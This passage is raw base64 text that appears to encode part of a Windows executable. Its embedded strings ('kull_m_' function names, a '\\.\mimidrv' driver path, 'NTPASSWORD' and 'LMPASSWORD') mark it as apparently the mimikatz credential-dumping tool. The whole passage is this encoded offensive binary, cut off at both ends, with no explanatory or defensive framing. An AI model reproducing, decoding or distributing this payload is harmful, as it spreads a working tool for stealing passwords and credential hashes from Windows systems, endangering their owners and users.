HAAkAAACDSxggg8j/6U8BAAD2wUB0Dv8V1x4AAMcAIgAAAOvhM//2wQF0FYl7CPbBEHRtSItDEIPh/kiJA4lLGItDGIl7CIPg74PIAolDGKkMAQAAdVVIiw2+HgAASI1BMEg72HQJSI1BYEg72HUMi87/FewdAAA7x3Uw/xVyHgAARTPJRTPAM9IzyUiJfCQgxwAWAAAA6ESp///paf///4PJIIlLGOle////90MYCAEAAA+EhAAAAIsrSItTECtrEEiNQgFIiQOLQyT/yDvviUMIfg9Ei8WLzv8VfB0AAIv4602D/v90I4P+/nQeSIsFhx0AAEiL1kiLzoPiH0jB+QVIa9I4SAMUyOsHSIsVcR0AAPZCCCB0GDPSi85EjUIC/xVtHQAASIP4/w+E1f7//0iLSxCKRCRAiAHrF70BAAAASI1UJECLzkSLxf8VCh0AAIv4O/0Phar+//8PtkQkQEiLXCRISItsJFBIi3QkWEiDxDBfw8zMSIlcJBhIiXQkIFdIg+wg9kEYQEiL8Q+FBwEAAP8Veh0AAIP4/3Q/SIvO/xVsHQAAg/j+dDFIi87/FV4dAABIix2/HAAASIvOSGP4SMH/Bf8VRx0AAESL2EGD4x9Na9s4TAMc++sHTIsdnxwAAEH2QwiAD4SrAAAAg0YI/7sBAAAAeA5IiwYPtghI/8BIiQbrCkiLzugX5P//i8iD+f91Crj//wAA6ZYAAACITCQ4D7bJ/xWtHAAAhcB0O4NGCP94DkiLBg+2CEj/wEiJBusKSIvO6Nnj//+LyIP5/3UPD75MJDhIi9boYQMAAOuziEwkObsCAAAASI1UJDhIjUwkMExjw/8VaxwAAIP4/3UO/xVoHAAAxwAqAAAA64Rmi0QkMOsdg0YI/ngPSIsOD7cBSIPBAkiJDusISIvO6KgBAABIi1wkQEiLdCRISIPEIF/DSIlcJBhIiWwkIFZXQVRIg+wwSIsF03UBAEgzxEiJRCQoQbz//wAASIvyD7fpZkE7zA+EoQAAAItCGKgBdRCEwA+JkgAAAKgCD4WKAAAAqEAPhfAAAABIi8r/Fe0bAACD+P90P0iLzv8V3xsAAIP4/nQxSIvO/xXRGwAASIsdMhsAAEiLzkhj+EjB/wX/FbobAABEi9hBg+MfTWvbOEwDHPvrB0yLHRIbAABB9kMIgA+EkQAAAEiNTCQgD7fV/xUpGwAATGPYQYP7/3Uw/xVaGwAAxwAqAAAAZkGLxEiLTCQoSDPM6OOm//9Ii1wkYEiLbCRoSIPEMEFcX17DSItGEEqNFBhIORZzD4N+CAB1yUQ7XiR/w0iJFkGNQ/9IY9CFwHgSSP8OikQUIEiD6gFIiw6IAXnuRAFeCINmGO+DThgBZovF65ZIi0YQSIPAAkg5BnMXg34IAA+Fe////4N+JAIPgnH///9IiQZIgwb+9kYYQEiLBnQRZjkodA9Ig8ACSIkG6VD///9miSiDRggC66jM/yUsGgAASIlcJAhIiXQkEFdIg+wwM/9Ii/FIO891Jf8VdRoAAEUzyUUzwDPSM8lIiXwkIMcAFgAAAOhHpf//6REBAACLQRiogw+EBgEAAKhAD4X+AAAAqAJ0C4PIIIlBGOnvAAAAg8gBiUEYqQwBAAB0rEiLWRBIiRn/FToaAABEi0Yki8hIi9P/FYsZAACJRgg7xw+EqwAAAIP4AQ+EogAAAIP4/w+EmQAAAPZGGIJ1Y0iLzv8V/xkAAIP4/3Q/SIvO/xXxGQAAg/j+dDFIi87/FeMZAABIix1EGQAASIvOSGP4SMH/Bf8VzBkAAESL2EGD4x9Na9s4TAMc++sHTIsdJBkAAEGKQwgkgjyCdQUPum4YDYF+JAACAAB1FPZGGAh0Dg+6ZhgKcgfHRiQAEAAASIsOg0YI/g+3AUiDwQJIiQ7rFffYiX4IG8CD4BCDwBAJRhi4//8AAEiLXCRASIt0JEhIg8QwX8P/JaIYAAD/JWQVAAD/JVYVAAD/JaAaAAD/JaIaAABAVUiD7CBIi+pIiY0AAQAASIsBixCJlagAAABIiY34AAAAiVVQi0VQPWNzbeB1FEiLlfgAAACLTVDoJN7//4lFMOsHx0UwAAAAAItFMEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY0QAQAASIsBixCJlZgAAABIiY3QAAAAiVVwi0VwPWNzbeB1FEiLldAAAACLTXDoxN3//4lFOOsHx0U4AAAAAItFOEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY0wAQAASIsBixCJlcwAAABIiY3wAAAAiVVgi0VgPWNzbeB1FEiLlfAAAACLTWDoZN3//4lFSOsHx0VIAAAAAItFSEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY0gAQAASIsBixCJlYwAAABIiY3gAAAAiZWAAAAAi4WAAAAAPWNzbeB1F0iLleAAAACLjYAAAADo+9z//4lFJOsHx0UkAAAAAItFJEiDxCBdw8zMzMxAVUiD7CBIi+pIiY0IAQAASIsBixCJldgAAABIiY2QAAAAiVUoi0UoPWNzbeB1FEiLlZAAAACLTSjopNz//4lFNOsHx0U0AAAAAItFNEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY0YAQAASIsBixCJlbgAAABIiY2gAAAAiVVAi0VAPWNzbeB1FEiLlaAAAACLTUDoRNz//4lFTOsHx0VMAAAAAItFTEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY0oAQAASIsBixCJlegAAABIiY2wAAAAiVVYi0VYPWNzbeB1FEiLlbAAAACLTVjo5Nv//4lFaOsHx0VoAAAAAItFaEiDxCBdw8zMzMzMzMzMzMzMzMxAVUiD7CBIi+pIiY04AQAASIsBixCJlcgAAABIiY3AAAAAiVV4i0V4PWNzbeB1F0iLlcAAAACLTXjohNv//4mFiAAAAOsKx4WIAAAAAAAAAIuFiAAAAEiDxCBdw8zMzMxAVUiD7CBIi+rHBd9vAQD/////SIPEIF3DQFVIg+wgSIvqSIsBM8mBOAUAAMAPlMGLwYvBSIPEIF3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADAAAAAAAcQAMAAAAAACxAAwAAAAAAOEADAAAAAABOQAMAAAAAAGhAAwAAAAAAgEADAAAAAACUQAMAAAAAAKhAAwAAAAAAuEADAAAAAADIQAMAAAAAANhAAwAAAAAA5kADAAAAAAD8QAMAAAAAAAxBAwAAAAAAHkEDAAAAAAAuQQMAAAAAAD5BAwAAAAAAVkEDAAAAAABoQQMAAAAAAHhBAwAAAAAAkkEDAAAAAACmQQMAAAAAALxBAwAAAAAA0EEDAAAAAADqQQMAAAAAAPxBAwAAAAAAFEIDAAAAAAAoQgMAAAAAAD5CAwAAAAAAVEIDAAAAAABoQgMAAAAAAHpCAwAAAAAAjEIDAAAAAACcQgMAAAAAALpCAwAAAAAAzEIDAAAAAADeQgMAAAAAAPpCAwAAAAAAFkMDAAAAAAA0QwMAAAAAAFBDAwAAAAAAWkMDAAAAAABuQwMAAAAAAIJDAwAAAAAAlkMDAAAAAACqQwMAAAAAALxDAwAAAAAA0EMDAAAAAADiQwMAAAAAAPJDAwAAAAAABkQDAAAAAAAWRAMAAAAAACZEAwAAAAAAOEQDAAAAAABKRAMAAAAAAF5EAwAAAAAAdkQDAAAAAACCRAMAAAAAAAAAAAAAAAAAokQDAAAAAAC6RAMAAAAAAN5EAwAAAAAA9EQDAAAAAAAERQMAAAAAACJFAwAAAAAARkUDAAAAAABYRQMAAAAAAHxFAwAAAAAAmkUDAAAAAACwRQMAAAAAAAAAAAAAAAAAylEDAAAAAAC6UQMAAAAAAKBRAwAAAAAAglEDAAAAAABmUQMAAAAAAFJRAwAAAAAAPlEDAAAAAAAkUQMAAAAAABBRAwAAAAAA+lADAAAAAAC2TgMAAAAAAKJOAwAAAAAAik4DAAAAAABsTgMAAAAAAE5OAwAAAAAAPk4DAAAAAAAiTgMAAAAAAA5OAwAAAAAA/E0DAAAAAADsTQMAAAAAAN5NAwAAAAAAzk0DAAAAAADCTQMAAAAAAKxNAwAAAAAAkk0DAAAAAACATQMAAAAAAGZNAwAAAAAAVE0DAAAAAABCTQMAAAAAACxNAwAAAAAAFk0DAAAAAAAGTQMAAAAAAPRMAwAAAAAA5EwDAAAAAADOTAMAAAAAALxMAwAAAAAArEwDAAAAAACWTAMAAAAAAIRMAwAAAAAAcEwDAAAAAABgTAMAAAAAAExMAwAAAAAAPEwDAAAAAAAqTAMAAAAAABxMAwAAAAAADEwDAAAAAAD6SwMAAAAAAOhLAwAAAAAA1ksDAAAAAADGSwMAAAAAALhLAwAAAAAApEsDAAAAAACWSwMAAAAAAH5LAwAAAAAAbksDAAAAAABaSwMAAAAAAExLAwAAAAAAQEsDAAAAAAA0SwMAAAAAAChLAwAAAAAAGksDAAAAAAACSwMAAAAAAOhKAwAAAAAA+koDAAAAAAAAAAAAAAAAAFZGAwAAAAAAQkYDAAAAAABgRgMAAAAAAAAAAAAAAAAAtkcDAAAAAADmRgMAAAAAANRHAwAAAAAA1EYDAAAAAAC6RgMAAAAAAHBHAwAAAAAA9kYDAAAAAAASRwMAAAAAACBHAwAAAAAAOkcDAAAAAABSRwMAAAAAAGJHAwAAAAAAqEcDAAAAAACSRwMAAAAAAAAAAAAAAAAAjkgDAAAAAAAAAAAAAAAAAIpGAwAAAAAAnkYDAAAAAAB4RgMAAAAAAAAAAAAAAAAA+EcDAAAAAABMSAMAAAAAAGJIAwAAAAAAGkgDAAAAAAAwSAMAAAAAAAAAAAAAAAAAsEgDAAAAAAAAAAAAAAAAAN5IAwAAAAAA6kgDAAAAAADSSAMAAAAAAAAAAAAAAAAA5kUDAAAAAAD+RQMAAAAAABJGAwAAAAAAHkYDAAAAAAAqRgMAAAAAANRFAwAAAAAAAAAAAAAAAADcUAMAAAAAAOZQAwAAAAAA8FADAAAAAADIUAMAAAAAALxQAwAAAAAArlADAAAAAACkUAMAAAAAANBQAwAAAAAAmFADAAAAAACMUAMAAAAAAIJQAwAAAAAAeFADAAAAAABwUAMAAAAAAGRQAwAAAAAAVlADAAAAAABKUAMAAAAAADxQAwAAAAAALFADAAAAAAAiUAMAAAAAAExPAwAAAAAAVk8DAAAAAABiTwMAAAAAAGxPAwAAAAAAdk8DAAAAAACATwMAAAAAAIhPAwAAAAAAkk8DAAAAAACaTwMAAAAAALBPAwAAAAAAuk8DAAAAAADETwMAAAAAANxPAwAAAAAA6k8DAAAAAAD0TwMAAAAAAABQAwAAAAAADlADAAAAAAAYUAMAAAAAAAAAAAAAAAAAPk8DAAAAAAA0TwMAAAAAACpPAwAAAAAAIE8DAAAAAAAUTwMAAAAAAAhPAwAAAAAA/E4DAAAAAADyTgMAAAAAAOhOAwAAAAAA2k4DAAAAAAACSQMAAAAAACJJAwAAAAAANkkDAAAAAABOSQMAAAAAAGZJAwAAAAAAdkkDAAAAAACSSQMAAAAAAKZJAwAAAAAAwkkDAAAAAADYSQMAAAAAAOxJAwAAAAAABEoDAAAAAAAeSgMAAAAAADhKAwAAAAAAWkoDAAAAAAB6SgMAAAAAAIxKAwAAAAAAokoDAAAAAAC2SgMAAAAAAMxKAwAAAAAA4FEDAAAAAADsUQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnJQBgAEAAAAAAAAAAAAAAAAAAAAAAAAASW52YWxpZCBwYXJhbWV0ZXIgcGFzc2VkIHRvIEMgcnVudGltZSBmdW5jdGlvbi4KAAAAAAAAAAAAAAAAAAAAAJCHA4ABAAAAMIgDgAEAAAAobnVsbCkAAAAAAAAAAAAABoCAhoCBgAAAEAOGgIaCgBQFBUVFRYWFhQUAADAwgFCAgAAIACgnOFBXgAAHADcwMFBQiAAAACAogIiAgAAAAGBgYGhoaAgIB3hwcHdwcAgIAAAIAAgABwgAAAAAAAAAJTA0aHUlMDJodSUwMmh1JTAyaHUlMDJodSUwMmh1WgAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAEIAYQBzAGUANgA0ACAAbwBmACAAZgBpAGwAZQAgADoAIAAlAHMACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAACUAYwAAAAAAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAAAAAAAAAAAAAgYwOAAQAAAGBkA4ABAAAAAGUDgAEAAAAHAAgAAAAAAHAmA4ABAAAADgAPAAAAAABgJgOAAQAAAGBmA4ABAAAAsGYDgAEAAABQZwOAAQAAAGAAAACYAAAACAEAABgBAAAoAQAAOAEAAEABAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAHgAAACAAAAAiAAAAMgAAADQAAAA2AAAAAQBAAAQAQAACAEAACABAAAAAAAA+AAAAAAAAAAYAAAAAAAAABAAAAAAAAAAKAAAAAAAAABQAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAiAAAAJAAAAC4AAAAwAAAAMgAAAD0AAAAAAEAAPgAAAAQAQAAAAAAAOgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAIgAAACQAAAAuAAAAMAAAADIAAAA9AAAAAABAAD4AAAAEAEAAAAAAADYAAAAAAAAACgAAAAAAAAAGAAAAAAAAAAwAAAAAAAAAEAAAAB4AAAA6AAAAAABAAAYAQAAMAEAADgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAgAAAAJAAAACYAAAAoAAAAMgAAADQAAAA2AAAAAQBAAAQAQAACAEAACABAAAAAAAA2AAAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAABIAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAIAAAACQAAAAmAAAAKAAAADIAAAA0AAAANgAAAAEAQAAEAEAAAgBAAAgAQAAAAAAAOgAAAAAAAAAKAAAAAAAAAAYAAAAAAAAADAAAAAAAAAA8GsDgAEAAACQAAAAOAAAAGgAAACAAAAAAAAAAAgAAADAAAAAOAAAAJgAAACwAAAAAAAAAAgAAADQAAAAOAAAAKgAAADAAAAAAAAAAAgAAAA4DwOAAQAAABgPA4ABAAAAwA4DgAEAAAAOAAAAAAAAADANAoABAAAAZFYBgAEAAACIVgGAAQAAALyGAYABAAAAsA4DgAEAAAB4DgOAAQAAAOiNAYABAAAAaA4DgAEAAAAwDgOAAQAAAEBzAYABAAAAoDMCgAEAAAD4DQOAAQAAAJSMAYABAAAA6A0DgAEAAAC4DQOAAQAAAFiFAYABAAAAqA0DgAEAAABwDQOAAQAAAAiLAYABAAAAaA0DgAEAAAA4DQOAAQAAAJRWAYABAAAAGA0DgAEAAADADAOAAQAAAOhVAYABAAAAWIECgAEAAABgDAOAAQAAAARWAYABAAAAQAwDgAEAAADgCwOAAQAAAGhfAYABAAAA2AsDgAEAAAC4CwOAAQAAAJhzAYABAAAAqAsDgAEAAAB4CwOAAQAAANRzAYABAAAAaAsDgAEAAAAoCwOAAQAAAOBwAYABAAAAGAsDgAEAAADoCgOAAQAAAKxuAYABAAAA2AoDgAEAAACgCgOAAQAAAGBmA4ABAAAAYGQDgAEAAAAgYwOAAQAAALBmA4ABAAAAUGcDgAEAAAAAZQOAAQAAAEBpA4ABAAAA8GsDgAEAAACoAAAAAAAAABAAAABQAAAAVAAAABgAAAAoAAAAcAAAAEgAAACgAAAAoAAAAAAAAAAQAAAAUAAAAFQAAAAYAAAAKAAAAHAAAABIAAAAmAAAABABAAAAAAAAcAAAALgAAAC8AAAAgAAAAJAAAADYAAAAsAAAAAgBAAAIAQAAAAAAAHAAAAC4AAAAvAAAAIAAAACQAAAA2AAAALAAAAAAAQAAGAEAAAAAAABwAAAAyAAAAMwAAACQAAAAoAAAAOgAAADAAAAAEAEAAFABAAAAAAAAcAAAAMgAAADYAAAAgAAAAJAAAAD4AAAAwAAAAEgBAABgAQAAAAAAAHAAAADYAAAA6AAAAJAAAACgAAAACAEAANAAAABYAQAAMEMBgAEAAABo/wKAAQAAAGj/AoABAAAAuEkBgAEAAADMSwGAAQAAABRMAYABAAAAQI4DgAEAAABIjgOAAQAAAPhNAYABAAAAfE8BgAEAAAD0UQGAAQAAAGBwA4ABAAAAaHADgAEAAACg/wKAAQAAAHj/AoABAAAAAAAAAAAAAAABAAAAAAAAANgPAoABAAAAAAAAAAAAAAAAAAAAAAAAADAxMjM0NTY3OC5GPyAhIQCENAGAAQAAACAzAoABAAAAIDMCgAEAAABYPwGAAQAAAGDvAoABAAAAYO8CgAEAAACw7wKAAQAAAHDvAoABAAAAAAAAAAAAAAACAAAAAAAAAIgQAoABAAAAADMBgAEAAABkNAGAAQAAAL41Dj53G+dDuHOu2QG2J1tA7wKAAQAAAAAAAAAAAAAAOHid5rWRyU+J1SMNTUzCvBjvAoABAAAAAAAAAAAAAADzb4g8aSaiSqj7P2dZp3VI+O4CgAEAAAAAAAAAAAAAAPUz4LLeXw1Fob03kfRlcgzg7gKAAQAAAMA5AYABAAAAK6G4tD0YCEmVWb2LznK1irjuAoABAAAAwDkBgAEAAACRcsj+9hS2QL2Yf/JFmGsmoO4CgAEAAADAOQGAAQAAAAhQAoABAAAAkO4CgAEAAABw7gKAAQAAAEjuAoABAAAAGO4CgAEAAADw7QKAAQAAANDtAoABAAAAzDIBgAEAAABQ7QKAAQAAAMDsAoABAAAAmO0CgAEAAABo7QKAAQAAAAAAAAAAAAAAAQAAAAAAAADoEQKAAQAAAAAAAAAAAAAAAAAAAAAAAADQ5QKAAQAAAJjlAoABAAAAAAAAAAAAAAAEAAAAAAAAAHASAoABAAAAAAAAAAAAAAAAAAAAAAAAAPwqAYABAAAAiOUCgAEAAABQ5QKAAQAAANArAYABAAAAIDMCgAEAAAAQ5QKAAQAAAOQrAYABAAAAAOUCgAEAAADY5AKAAQAAAEAvAYABAAAAyOQCgAEAAACY5AKAAQAAAPQnAYABAAAAcN8CgAEAAABQ3wKAAQAAABAoAYABAAAASN8CgAEAAADQ3gKAAQAAAIAoAYABAAAAwN4CgAEAAAAw3gKAAQAAAJgoAYABAAAAGN4CgAEAAADg3QKAAQAAALAoAYABAAAA0N0CgAEAAACQ3QKAAQAAAAApAYABAAAAIHoCgAEAAABA3QKAAQAAAHQpAYABAAAAKN0CgAEAAADg3AKAAQAAAOApAYABAAAAyNwCgAEAAACA3AKAAQAAABgqAYABAAAAeNwCgAEAAAAw3AKAAQAAAOQqAYABAAAAGNwCgAEAAAD42wKAAQAAAADgAoABAAAA4N8CgAEAAACA3wKAAQAAAAoAAAAAAAAA0BICgAEAAAAAAAAAAAAAAAAAAAAAAAAAgDECgAEAAABI1gKAAQAAAAAAAAAAAAAACAAAAAAAAAAwFAKAAQAAAAAAAAAAAAAAAAAAAAAAAABEIwGAAQAAANjPAoABAAAAKNYCgAEAAABsIwGAAQAAACiBAoABAAAACNYCgAEAAACUIwGAAQAAAKjPAoABAAAA6NUCgAEAAADAIwGAAQAAAHDPAoABAAAAyNUCgAEAAADsIwGAAQAAADjPAoABAAAAqNUCgAEAAAAYJAGAAQAAAJDVAoABAAAAaNUCgAEAAABEJAGAAQAAAFDVAoABAAAAKNUCgAEAAACwHQGAAQAAACAzAoABAAAACNUCgAEAAAAAHgGAAQAAACAzAoABAAAAOIECgAEAAAAUIAGAAQAAADjQAoABAAAAGNACgAEAAAAgIAGAAQAAAAjQAoABAAAA6M8CgAEAAAAQHgGAAQAAANjPAoABAAAAuM8CgAEAAACYHgGAAQAAAKjPAoABAAAAgM8CgAEAAACgHgGAAQAAAHDPAoABAAAASM8CgAEAAACsHgGAAQAAADjPAoABAAAAEM8CgAEAAABYgQKAAQAAAEjQAoABAAAAAAAAAAAAAAAHAAAAAAAAAPAUAoABAAAAAAAAAAAAAAAAAAAAAAAAALQdAYABAAAAEM4CgAEAAADozQKAAQAAAEjOAoABAAAAIM4CgAEAAAAAAAAAAAAAAAEAAAAAAAAA0BUCgAEAAAAAAAAAAAAAAAAAAAAAAAAAbBcBgAEAAABwMQKAAQAAAGgzAoABAAAAsB0BgAEAAACIyAKAAQAAAGgzAoABAAAAsB0BgAEAAAB4yAKAAQAAAGgzAoABAAAAoMgCgAEAAABoMwKAAQAAAAAAAAAAAAAAAwAAAAAAAAAgFgKAAQAAAAAAAAAAAAAAAAAAAAAAAABM/ACAAQAAAHC3AoABAAAAELcCgAEAAAB8/ACAAQAAAAC3AoABAAAAkLYCgAEAAACs/ACAAQAAAHi2AoABAAAAELYCgAEAAADc/ACAAQAAAPi1AoABAAAAkLUCgAEAAABEAQGAAQAAAHi1AoABAAAA8LQCgAEAAACIAwGAAQAAAOC0AoABAAAAAAAAAAAAAAAwBQGAAQAAANC0AoABAAAAAAAAAAAAAACMCwGAAQAAAMC0AoABAAAAAAAAAAAAAACoEgGAAQAAAKi0AoABAAAAAAAAAAAAAACotwKAAQAAAHi3AoABAAAAAAAAAAAAAAAJAAAAAAAAAKAWAoABAAAA0PoAgAEAAAAI/ACAAQAAAAi/AIABAAAAwJECgAEAAABAkQKAAQAAAMDBAIABAAAAKJECgAEAAACgkAKAAQAAAMzBAIABAAAAiJACgAEAAADwjwKAAQAAADzmAIABAAAA4I8CgAEAAABAjwKAAQAAAOiRAoABAAAAyJECgAEAAAAAAAAAAAAAAAQAAAAAAAAAsBcCgAEAAAAAAAAAAAAAAAAAAAAAAAAACwYHAQgKDgADBQIPDQkMBE5UUEFTU1dPUkQAAAAAAABMTVBBU1NXT1JEAAAAAAAAIUAjJCVeJiooKXF3ZXJ0eVVJT1BBenhjdmJubVFRUVFRUVFRUVFRUSkoKkAmJQAAMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OQAAAAAAAAAAAAAAAAAAAACQtgCAAQAAAAAAAAAAAAAAIIECgAEAAADAgAKAAQAAAAC7AIABAAAAAAAAAAAAAAC0gAKAAQAAAHCAAoABAAAAAAAAAAAAAAAHwCIAAAAAAGCAAoABAAAAQIACgAEAAAAAAAAAAAAAAAvAIgAAAAAAMIACgAEAAAAggAKAAQAAAAAAAAAAAAAAQ8AiAAAAAABYgQKAAQAAADiBAoABAAAAjLsAgAEAAAAAAAAAAAAAAACAAoABAAAA4H8CgAEAAABIvQCAAQAAAAAAAAAAAAAAwH8CgAEAAACQfwKAAQAAACS+AIABAAAAAAAAAAAAAABofwKAAQAAACh/AoABAAAAAAAAAAAAAACDwCIAAAAAABh/AoABAAAA+H4CgAEAAAAAAAAAAAAAAMPAIgAAAAAA6H4CgAEAAADQfgKAAQAAAAAAAAAAAAAAA8EiAAAAAACwfgKAAQAAAHB+AoABAAAAAAAAAAAAAAAHwSIAAAAAAFh+AoABAAAAGH4CgAEAAAAAAAAAAAAAAAvBIgAAAAAAAH4CgAEAAADIfQKAAQAAAAAAAAAAAAAAD8EiAAAAAACwfQKAAQAAAHB9AoABAAAAAAAAAAAAAAATwSIAAAAAAFh9AoABAAAAGH0CgAEAAACUvgCAAQAAABfBIgAAAAAA8HwCgAEAAACwfAKAAQAAAKC+AIABAAAAJ8EiAAAAAACIfAKAAQAAAEh8AoABAAAAAAAAAAAAAABDwSIAAAAAADh8AoABAAAAGHwCgAEAAAAAAAAAAAAAAEfBIgAAAAAAAHwCgAEAAADYewKAAQAAAHS1AIABAAAA4HkCgAEAAABweQKAAQAAALi1AIABAAAAYHkCgAEAAAA4eQKAAQAAABB6AoABAAAA8HkCgAEAAAAAAAAAAAAAAAIAAAAAAAAAQBsCgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACInwCAAQAAAOBjAoABAAAAoGMCgAEAAADgoACAAQAAAJBjAoABAAAAWGMCgAEAAACMoQCAAQAAADhjAoABAAAA+GICgAEAAAC4pQCAAQAAAOhiAoABAAAAoGICgAEAAAAIswCAAQAAAJBiAoABAAAAIGICgAEAAAD0tACAAQAAABhiAoABAAAAsGECgAEAAAAYZAKAAQAAAPhjAoABAAAAAAAAAAAAAAAGAAAAAAAAALAbAoABAAAALJ0AgAEAAAD8ngCAAQAAAAAAAAAAAAAAaGECgAEAAAAAAAEAAAAAABBhAoABAAAAAAAHAAAAAADQYAKAAQAAAAAAAgAAAAAAcGACgAEAAAAAAAgAAAAAABBgAoABAAAAAAAJAAAAAADAXwKAAQAAAAAABAAAAAAAiF8CgAEAAAAAAAYAAAAAAFBfAoABAAAAAAAFAAAAAAA4XwKAAQAAAOBeAoABAAAAsF4CgAEAAABQXgKAAQAAADBeAoABAAAA4F0CgAEAAACwXQKAAQAAAFBdAoABAAAAEF0CgAEAAACwXAKAAQAAAIhcAoABAAAAMFwCgAEAAAAAXAKAAQAAAIBbAoABAAAAWFsCgAEAAADQWgKAAQAAAKBaAoABAAAAQFoCgAEAAAAYWgKAAQAAAMBZAoABAAAAiFkCgAEAAAAAWQKAAQAAANBYAoABAAAAYFgCgAEAAABAWAKAAQAAAAEAAAAAAAAAIFgCgAEAAAACAAAAAAAAAAhYAoABAAAAAwAAAAAAAADoVwKAAQAAAAQAAAAAAAAAwFcCgAEAAAAFAAAAAAAAAKhXAoABAAAABgAAAAAAAACAVwKAAQAAAAwAAAAAAAAAaFcCgAEAAAANAAAAAAAAAEBXAoABAAAADgAAAAAAAAAYVwKAAQAAAA8AAAAAAAAA8FYCgAEAAAAQAAAAAAAAAMhWAoABAAAAEQAAAAAAAACgVgKAAQAAABIAAAAAAAAAeFYCgAEAAAAUAAAAAAAAAGBWAoABAAAAFQAAAAAAAABAVgKAAQAAABYAAAAAAAAAGFYCgAEAAAAXAAAAAAAAAPhVAoABAAAAGAAAAAAAAAAFAAAABgAAAAEAAAAIAAAABwAAAAAAAAAAAAAAAAAAABBQAoABAAAACFACgAEAAADoTwKAAQAAAAhQAoABAAAA0E8CgAEAAAC4TwKAAQAAAKhPAoABAAAAkE8CgAEAAACATwKAAQAAAGhPAoABAAAASE8CgAEAAAA4TwKAAQAAACBPAoABAAAACE8CgAEAAADwTgKAAQAAANhOAoABAAAAGAAaAAAAAACoSwKAAQAAAIBhAIABAAAAYDMCgAEAAAAwMwKAAQAAAAxnAIABAAAAIDMCgAEAAAAAMwKAAQAAAOhkAIABAAAA+DICgAEAAADIMgKAAQAAAERkAIABAAAAuDICgAEAAACYMgKAAQAAAIhqAIABAAAAiDICgAEAAABgMgKAAQAAANx3AIABAAAAUDICgAEAAAAgMgKAAQAAAFR/AIABAAAAGDICgAEAAADoMQKAAQAAAGx/AIABAAAA2DECgAEAAACQMQKAAQAAAKAzAoABAAAAcDMCgAEAAABoMwKAAQAAAAgAAAAAAAAAkB8CgAEAAADsYACAAQAAADBhAIABAAAAXAAvADoAKgA/ACIAPAA+AHwAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAABhAAAAAAAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYw